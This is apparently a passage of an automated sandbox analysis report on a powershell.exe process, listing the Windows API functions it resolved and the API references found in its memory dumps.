"powershell.exe" called "GetProcAddress" with a parameter ImmCreateContext (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter ImmDestroyContext (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter ImmNotifyIME (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter ImmAssociateContext (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter ImmReleaseContext (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter ImmGetContext (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter ImmGetCompositionStringA (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter ImmSetCompositionStringA (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter ImmGetCompositionStringW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter ImmSetCompositionStringW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter ImmSetCandidateWindow (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter DefWindowProcW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetStockObject (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter RegisterClass (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter RegisterClassW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CreateWindowEx (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CreateWindowExW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SetWindowLongPtr (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter SetWindowLongPtrW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetWindowLongPtr (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetWindowLongPtrW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CallWindowProc (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CallWindowProcW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetClientRect (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetWindowRect (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter GetParent (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter OleInitialize (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CoRegisterMessageFilter (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter PeekMessage (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter PeekMessageW (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter WaitMessage (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CallNextHookEx (UID: 00000000-00005280) "powershell.exe" called "GetProcAddress" with a parameter CallNextHookExW (UID: 00000000-00005280)39:T7534,Found reference to API (Indicator: "RaiseFailFastException"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosErrorNoTeb"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp") Found reference to API (Indicator: "RtlDllShutdownInProgress"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp") Found reference to API (Indicator: "CreateSemaphoreExW"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.BF910000.00000004.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.BF910000.00000004.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp, 00000000-00005280.00000002.262058.BF880000.00000004.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSemaphore"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.BF910000.00000004.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.BF910000.00000004.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolTimerCallbacks"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.BF910000.00000004.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "ReleaseMutex"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "OutputDebugStringW"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolTimer"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "OpenSemaphoreW"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.BF910000.00000004.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolTimer"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockShared"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolTimer"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.BF910000.00000004.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp, 00000000-00005280.00000002.262058.BF880000.00000004.mdmp") Found reference to API (Indicator: "CreateMutexExW"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockShared"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.BF910000.00000004.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.BF910000.00000004.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.BF910000.00000004.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.BF910000.00000004.mdmp") Found reference to API (Indicator: "DebugBreak"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTitleW"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.BF910000.00000004.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.BF910000.00000004.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableSRW"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.BF910000.00000004.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoEx"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.BF910000.00000004.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "LCIDToLocaleName"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.BF910000.00000004.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.BF910000.00000004.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00005280.00000000.258219.236B3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringEx"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "CloseServiceHandle"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.BF910000.00000004.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "OpenSCManagerW"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.BF910000.00000004.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "OpenServiceW"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.BF910000.00000004.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringW"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp") Found reference to API (Indicator: "IsValidCodePage"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp") Found reference to API (Indicator: "GetOEMCP"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp") Found reference to API (Indicator: "GetCPInfo"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp") Found reference to API (Indicator: "GetStringTypeW"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "SetStdHandle"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleOutputCP"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointerEx"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp") Found reference to API (Indicator: "InitializeSListHead"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "RtlUnwind"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "InterlockedFlushSList"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "RtlPcToFileHeader"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp") Found reference to API (Indicator: "StringFromGUID2"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00005280.00000001.260141.16FB3000.00000002.mdmp, 00000000-00005280.00000001.260141.FE47A000.00000002.mdmp") Found reference to API (Indicator: 